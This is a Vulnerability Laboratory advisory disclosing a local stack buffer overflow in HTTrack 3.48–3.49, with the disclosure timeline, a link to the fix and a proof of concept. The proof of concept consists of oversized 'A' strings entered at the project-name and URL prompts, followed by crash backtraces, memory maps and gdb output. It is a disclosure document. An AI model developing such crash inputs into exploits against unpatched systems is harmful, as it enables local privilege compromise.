Document Title: =============== HTTrack v3.x - Stack Buffer Overflow Vulnerability References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2068 Release Date: ============= 2017-05-22 Vulnerability Laboratory ID (VL-ID): ==================================== 2068 Common Vulnerability Scoring System: ==================================== 6.1 Vulnerability Class: ==================== Buffer Overflow Product & Service Introduction: =============================== It allows you to download a World Wide Web site from the Internet to a local directory, building recursively all directories, getting HTML, images, and other files from the server to your computer. HTTrack arranges the original site's relative link-structure. Simply open a page of the "mirrored" website in your browser, and you can browse the site from link to link, as if you were viewing it online. HTTrack can also update an existing mirrored site, and resume interrupted downloads. HTTrack is fully configurable, and has an integrated help system. WinHTTrack is the Windows 2000/XP/Vista/Seven release of HTTrack, and WebHTTrack the Linux/Unix/BSD release. (Copy of the Homepage: http://www.httrack.com/ ) Abstract Advisory Information: ============================== An independent vulnerability laboratory researcher discovered a stack buffer overflow in the official HTTrack v3.48-22-1 (Fedora 25), v3.48-24 (Debian) & v3.49.1 (Windows). Vulnerability Disclosure Timeline: ================================== 2016-05-12: Researcher Notification & Coordination (Benjamin Kunz Mejri - Evolution Security GmbH) 2016-05-12: Vendor Notification (HTTrack Security Service Team) 2016-05-13: Vendor Response/Feedback (HTTrack Security Service Team) 2017-05-14: Vendor Fix/Patch (HTTrack Service Team) 2017-05-16: Security Acknowledgements (HTTrack Security Service Team) 2017-05-22: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Xavier Roche Product: HTTrack Website Copier - Software (Linux & Windows) 3.48-22-1 (Fedora 25), v3.48-24 (Debian), v3.49.1 (Windows) & Android App Exploitation Technique: ======================= Local Severity Level: =============== High Technical Details & Description: ================================ A local buffer overflow vulnerability has been discovered in the official HTTrack v3.48-22-1 (Fedora 25), v3.48-24 (Debian) & v3.49.1 (Windows). The vulnerability allows to overwrite the registers of the process to gain higher access privileges for compromise of the local computer system. A buffer overflow in the `URI` and `Project Name` processing in `HTTrack` and `WebHTTrack` on version 3.48-22-1 (Fedora 25) and 3.48-24(Debian), allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a large unicode strings. The vulnerability is a classic unicode stack buffer overflow vulnerability in the software core. The vulnerability can be exploited by local attackers with restricted system user privileges to compromise the software process to gain higher process access privileges. The issue allows to overwrite the basic registers of the process like eip and ebx. The security risk of the stack overflow vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.1. Exploitation of the stack buffer overflow vulnerability requires a low privilege or restricted system user account without user interaction. Successful exploitation of the stack overflow vulnerability results in process manipulation or compromise of the affected computer system. Proof of Concept (PoC): ======================= The stack buffer overflow vulnerability can be exploited by local attackers with low privileged system user account and without user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. --- Wizard Command Line HTTRACK --- AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -O "AAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" -%v --- Backtrace --- *** buffer overflow detected ***: httrack terminated /lib/i386-linux-gnu/libc.so.6(+0x67f4a)[0xb7d7df4a] /lib/i386-linux-gnu/libc.so.6(__fortify_fail+0x58)[0xb7e0fc78] /lib/i386-linux-gnu/libc.so.6(+0xf7ea8)[0xb7e0dea8] /lib/i386-linux-gnu/libc.so.6(+0xf749f)[0xb7e0d49f] /usr/lib/libhttrack.so.2(+0x4d301)[0xb7f3a301] /usr/lib/libhttrack.so.2(hts_main2+0x43)[0xb7f43b33] /usr/lib/libhttrack.so.2(hts_main+0x26)[0xb7f43b86] /usr/lib/libhttrack.so.2(+0x3e526)[0xb7f2b526] /usr/lib/libhttrack.so.2(+0x55555)[0xb7f42555] /usr/lib/libhttrack.so.2(hts_main2+0x43)[0xb7f43b33] httrack(+0x144b)[0x8000144b] /lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf6)[0xb7d2e276] httrack(+0x152e)[0x8000152e] --- Memory Map --- 80000000-80005000 r-xp 00000000 08:01 1334296 /usr/bin/httrack 80005000-80006000 r--p 00004000 08:01 1334296 /usr/bin/httrack 80006000-80007000 rw-p 00005000 08:01 1334296 /usr/bin/httrack 80007000-80050000 rw-p 00000000 00:00 0 [heap] b79d7000-b79f3000 r-xp 00000000 08:01 917531 /lib/i386-linux-gnu/libgcc_s.so.1 b79f3000-b79f4000 r--p 0001b000 08:01 917531 /lib/i386-linux-gnu/libgcc_s.so.1 b79f4000-b79f5000 rw-p 0001c000 08:01 917531 /lib/i386-linux-gnu/libgcc_s.so.1 b79f5000-b7a3d000 rw-p 00000000 00:00 0 b7a3d000-b7a40000 r-xp 00000000 08:01 919065 /lib/i386-linux-gnu/libdl-2.24.so b7a40000-b7a41000 r--p 00002000 08:01 919065 /lib/i386-linux-gnu/libdl-2.24.so b7a41000-b7a42000 rw-p 00003000 08:01 919065 /lib/i386-linux-gnu/libdl-2.24.so b7a42000-b7aa9000 r-xp 00000000 08:01 1313651 /usr/lib/i386-linux-gnu/libssl.so.1.1 b7aa9000-b7aac000 r--p 00066000 08:01 1313651 /usr/lib/i386-linux-gnu/libssl.so.1.1 b7aac000-b7ab0000 rw-p 00069000 08:01 1313651 /usr/lib/i386-linux-gnu/libssl.so.1.1 b7ab0000-b7cfa000 r-xp 00000000 08:01 1312883 /usr/lib/i386-linux-gnu/libcrypto.so.1.1 b7cfa000-b7cfb000 ---p 0024a000 08:01 1312883 /usr/lib/i386-linux-gnu/libcrypto.so.1.1 b7cfb000-b7d0c000 r--p 0024a000 08:01 1312883 /usr/lib/i386-linux-gnu/libcrypto.so.1.1 b7d0c000-b7d13000 rw-p 0025b000 08:01 1312883 /usr/lib/i386-linux-gnu/libcrypto.so.1.1 b7d13000-b7d16000 rw-p 00000000 00:00 0 b7d16000-b7ec9000 r-xp 00000000 08:01 919039 /lib/i386-linux-gnu/libc-2.24.so b7ec9000-b7eca000 ---p 001b3000 08:01 919039 /lib/i386-linux-gnu/libc-2.24.so b7eca000-b7ecc000 r--p 001b3000 08:01 919039 /lib/i386-linux-gnu/libc-2.24.so b7ecc000-b7ecd000 rw-p 001b5000 08:01 919039 /lib/i386-linux-gnu/libc-2.24.so b7ecd000-b7ed0000 rw-p 00000000 00:00 0 b7ed0000-b7eeb000 r-xp 00000000 08:01 919220 /lib/i386-linux-gnu/libz.so.1.2.11 b7eeb000-b7eec000 r--p 0001a000 08:01 919220 /lib/i386-linux-gnu/libz.so.1.2.11 b7eec000-b7eed000 rw-p 0001b000 08:01 919220 /lib/i386-linux-gnu/libz.so.1.2.11 b7eed000-b7f96000 r-xp 00000000 08:01 1334283 /usr/lib/libhttrack.so.2.0.48 b7f96000-b7f97000 r--p 000a8000 08:01 1334283 /usr/lib/libhttrack.so.2.0.48 b7f97000-b7f99000 rw-p 000a9000 08:01 1334283 /usr/lib/libhttrack.so.2.0.48 b7f99000-b7fb2000 r-xp 00000000 08:01 919180 /lib/i386-linux-gnu/libpthread-2.24.so b7fb2000-b7fb3000 r--p 00018000 08:01 919180 /lib/i386-linux-gnu/libpthread-2.24.so b7fb3000-b7fb4000 rw-p 00019000 08:01 919180 /lib/i386-linux-gnu/libpthread-2.24.so b7fb4000-b7fb6000 rw-p 00000000 00:00 0 b7fd4000-b7fd7000 rw-p 00000000 00:00 0 b7fd7000-b7fd9000 r--p 00000000 00:00 0 [vvar] b7fd9000-b7fdb000 r-xp 00000000 00:00 0 [vdso] b7fdb000-b7ffd000 r-xp 00000000 08:01 919009 /lib/i386-linux-gnu/ld-2.24.so b7ffd000-b7ffe000 rw-p 00000000 00:00 0 b7ffe000-b7fff000 r--p 00022000 08:01 919009 /lib/i386-linux-gnu/ld-2.24.so b7fff000-b8000000 rw-p 00023000 08:01 919009 /lib/i386-linux-gnu/ld-2.24.so bffdf000-c0000000 rw-p 00000000 00:00 0 [stack] - Caught signal 6 httrack(+0x1de3)[0x80001de3] [0xb7fd9d04] [0xb7fd9cf9] /lib/i386-linux-gnu/libc.so.6(gsignal+0xb0)[0xb7d42050] /lib/i386-linux-gnu/libc.so.6(abort+0x157)[0xb7d43577] /lib/i386-linux-gnu/libc.so.6(+0x67f4f)[0xb7d7df4f] /lib/i386-linux-gnu/libc.so.6(__fortify_fail+0x58)[0xb7e0fc78] /lib/i386-linux-gnu/libc.so.6(+0xf7ea8)[0xb7e0dea8] /lib/i386-linux-gnu/libc.so.6(+0xf749f)[0xb7e0d49f] /usr/lib/libhttrack.so.2(+0x4d301)[0xb7f3a301] /usr/lib/libhttrack.so.2(hts_main2+0x43)[0xb7f43b33] /usr/lib/libhttrack.so.2(hts_main+0x26)[0xb7f43b86] /usr/lib/libhttrack.so.2(+0x3e526)[0xb7f2b526] /usr/lib/libhttrack.so.2(+0x55555)[0xb7f42555] /usr/lib/libhttrack.so.2(hts_main2+0x43)[0xb7f43b33] httrack(+0x144b)[0x8000144b] /lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf6)[0xb7d2e276] httrack(+0x152e)[0x8000152e] Please report the problem at http://forum.httrack.com Aborted (core dumped) -------------------- (gdb) run Starting program: /usr/bin/httrack [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1". Welcome to HTTrack Website Copier (Offline Browser) 3.48-24 Copyright (C) 1998-2016 Xavier Roche and other contributors To see the option list, enter a blank line or try httrack --help Enter project name :AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Base path (return=/home/constantine/websites/) : Enter URLs (separated by commas or blank spaces) :AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Action: (enter) 1 Mirror Web Site(s) 2 Mirror Web Site(s) with Wizard 3 Just Get Files Indicated 4 Mirror ALL links in URLs (Multiple Mirror) 5 Test Links In URLs (Bookmark Test) 0 Quit : : 1 Proxy (return=none) : You can define wildcards, like: -*.gif +www.*.com/*.zip -*img_*.zip Wildcards (return=none) : Additional options (return=none): ---> Wizard command line httrack --- AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -O "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" -%v --- Backtrace --- *** buffer overflow detected ***: /usr/bin/httrack terminated /lib/i386-linux-gnu/libc.so.6(+0x67f4a)[0xb7d7df4a] /lib/i386-linux-gnu/libc.so.6(__fortify_fail+0x58)[0xb7e0fc78] /lib/i386-linux-gnu/libc.so.6(+0xf7ea8)[0xb7e0dea8] /lib/i386-linux-gnu/libc.so.6(+0xf749f)[0xb7e0d49f] /usr/lib/libhttrack.so.2(+0x4d301)[0xb7f3a301] /usr/lib/libhttrack.so.2(hts_main2+0x43)[0xb7f43b33] /usr/lib/libhttrack.so.2(hts_main+0x26)[0xb7f43b86] /usr/lib/libhttrack.so.2(+0x3e526)[0xb7f2b526] /usr/lib/libhttrack.so.2(+0x55555)[0xb7f42555] /usr/lib/libhttrack.so.2(hts_main2+0x43)[0xb7f43b33] /usr/bin/httrack(+0x144b)[0x8000144b] /lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf6)[0xb7d2e276] /usr/bin/httrack(+0x152e)[0x8000152e] --- Memory map: --- 80000000-80005000 r-xp 00000000 08:01 1334296 /usr/bin/httrack 80005000-80006000 r--p 00004000 08:01 1334296 /usr/bin/httrack 80006000-80007000 rw-p 00005000 08:01 1334296 /usr/bin/httrack 80007000-80050000 rw-p 00000000 00:00 0 [heap] b79d7000-b79f3000 r-xp 00000000 08:01 917531 /lib/i386-linux-gnu/libgcc_s.so.1 b79f3000-b79f4000 r--p 0001b000 08:01 917531 /lib/i386-linux-gnu/libgcc_s.so.1 b79f4000-b79f5000 rw-p 0001c000 08:01 917531 /lib/i386-linux-gnu/libgcc_s.so.1 b79f5000-b7a3d000 rw-p 00000000 00:00 0 b7a3d000-b7a40000 r-xp 00000000 08:01 919065 /lib/i386-linux-gnu/libdl-2.24.so b7a40000-b7a41000 r--p 00002000 08:01 919065 /lib/i386-linux-gnu/libdl-2.24.so b7a41000-b7a42000 rw-p 00003000 08:01 919065 /lib/i386-linux-gnu/libdl-2.24.so b7a42000-b7aa9000 r-xp 00000000 08:01 1313651 /usr/lib/i386-linux-gnu/libssl.so.1.1 b7aa9000-b7aac000 r--p 00066000 08:01 1313651 /usr/lib/i386-linux-gnu/libssl.so.1.1 b7aac000-b7ab0000 rw-p 00069000 08:01 1313651 /usr/lib/i386-linux-gnu/libssl.so.1.1 b7ab0000-b7cfa000 r-xp 00000000 08:01 1312883 /usr/lib/i386-linux-gnu/libcrypto.so.1.1 b7cfa000-b7cfb000 ---p 0024a000 08:01 1312883 /usr/lib/i386-linux-gnu/libcrypto.so.1.1 b7cfb000-b7d0c000 r--p 0024a000 08:01 1312883 /usr/lib/i386-linux-gnu/libcrypto.so.1.1 b7d0c000-b7d13000 rw-p 0025b000 08:01 1312883 /usr/lib/i386-linux-gnu/libcrypto.so.1.1 b7d13000-b7d16000 rw-p 00000000 00:00 0 b7d16000-b7ec9000 r-xp 00000000 08:01 919039 /lib/i386-linux-gnu/libc-2.24.so b7ec9000-b7eca000 ---p 001b3000 08:01 919039 /lib/i386-linux-gnu/libc-2.24.so b7eca000-b7ecc000 r--p 001b3000 08:01 919039 /lib/i386-linux-gnu/libc-2.24.so b7ecc000-b7ecd000 rw-p 001b5000 08:01 919039 /lib/i386-linux-gnu/libc-2.24.so b7ecd000-b7ed0000 rw-p 00000000 00:00 0 b7ed0000-b7eeb000 r-xp 00000000 08:01 919220 /lib/i386-linux-gnu/libz.so.1.2.11 b7eeb000-b7eec000 r--p 0001a000 08:01 919220 /lib/i386-linux-gnu/libz.so.1.2.11 b7eec000-b7eed000 rw-p 0001b000 08:01 919220 /lib/i386-linux-gnu/libz.so.1.2.11 b7eed000-b7f96000 r-xp 00000000 08:01 1334283 /usr/lib/libhttrack.so.2.0.48 b7f96000-b7f97000 r--p 000a8000 08:01 1334283 /usr/lib/libhttrack.so.2.0.48 b7f97000-b7f99000 rw-p 000a9000 08:01 1334283 /usr/lib/libhttrack.so.2.0.48 b7f99000-b7fb2000 r-xp 00000000 08:01 919180 /lib/i386-linux-gnu/libpthread-2.24.so b7fb2000-b7fb3000 r--p 00018000 08:01 919180 /lib/i386-linux-gnu/libpthread-2.24.so b7fb3000-b7fb4000 rw-p 00019000 08:01 919180 /lib/i386-linux-gnu/libpthread-2.24.so b7fb4000-b7fb6000 rw-p 00000000 00:00 0 b7fd4000-b7fd7000 rw-p 00000000 00:00 0 b7fd7000-b7fd9000 r--p 00000000 00:00 0 [vvar] b7fd9000-b7fdb000 r-xp 00000000 00:00 0 [vdso] b7fdb000-b7ffd000 r-xp 00000000 08:01 919009 /lib/i386-linux-gnu/ld-2.24.so b7ffd000-b7ffe000 rw-p 00000000 00:00 0 b7ffe000-b7fff000 r--p 00022000 08:01 919009 /lib/i386-linux-gnu/ld-2.24.so b7fff000-b8000000 rw-p 00023000 08:01 919009 /lib/i386-linux-gnu/ld-2.24.so bffdf000-c0000000 rw-p 00000000 00:00 0 [stack] Program received signal SIGABRT, Aborted. 0xb7fd9cf9 in __kernel_vsyscall () (gdb) continue Continuing. Caught signal 6 /usr/bin/httrack(+0x1de3)[0x80001de3] [0xb7fd9d04] [0xb7fd9cf9] /lib/i386-linux-gnu/libc.so.6(gsignal+0xb0)[0xb7d42050] /lib/i386-linux-gnu/libc.so.6(abort+0x157)[0xb7d43577] /lib/i386-linux-gnu/libc.so.6(+0x67f4f)[0xb7d7df4f] /lib/i386-linux-gnu/libc.so.6(__fortify_fail+0x58)[0xb7e0fc78] /lib/i386-linux-gnu/libc.so.6(+0xf7ea8)[0xb7e0dea8] /lib/i386-linux-gnu/libc.so.6(+0xf749f)[0xb7e0d49f] /usr/lib/libhttrack.so.2(+0x4d301)[0xb7f3a301] /usr/lib/libhttrack.so.2(hts_main2+0x43)[0xb7f43b33] /usr/lib/libhttrack.so.2(hts_main+0x26)[0xb7f43b86] /usr/lib/libhttrack.so.2(+0x3e526)[0xb7f2b526] /usr/lib/libhttrack.so.2(+0x55555)[0xb7f42555] /usr/lib/libhttrack.so.2(hts_main2+0x43)[0xb7f43b33] /usr/bin/httrack(+0x144b)[0x8000144b] /lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf6)[0xb7d2e276] /usr/bin/httrack(+0x152e)[0x8000152e] Please report the problem at http://forum.httrack.com Program received signal SIGABRT, Aborted. 0xb7fd9cf9 in __kernel_vsyscall () Solution - Fix & Patch: ======================= https://github.com/xroche/httrack/commit/d1dadb3f2ec3bb02f980974ca79ee66e5df34351 Note: A new 3.49.2 release has been submitted to Debian (sid), a new HTTrack version (WinHTTrack) and Android version. The Debian security team has been informed, and should take the backport side Security Risk: ============== The security risk of the local stack buffer overflow vulnerability in the software core is estimated as high (CVSS 6.1) Credits & Authors: ================== Hosein Askari (FarazPajohan) - hosein.askari@aol.com [https://www.vulnerability-lab.com/show.php?user=Hosein%20Askari] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails, phone numbers, conversations or anything else to journalists, investigative authorities or private individuals. Domains: www.vulnerability-lab.com - www.vulnerability-db.com - www.evolution-sec.com Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get an ask permission. Copyright A(c) 2017 | Vulnerability Laboratory - [Evolution Security GmbH]aC/ -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com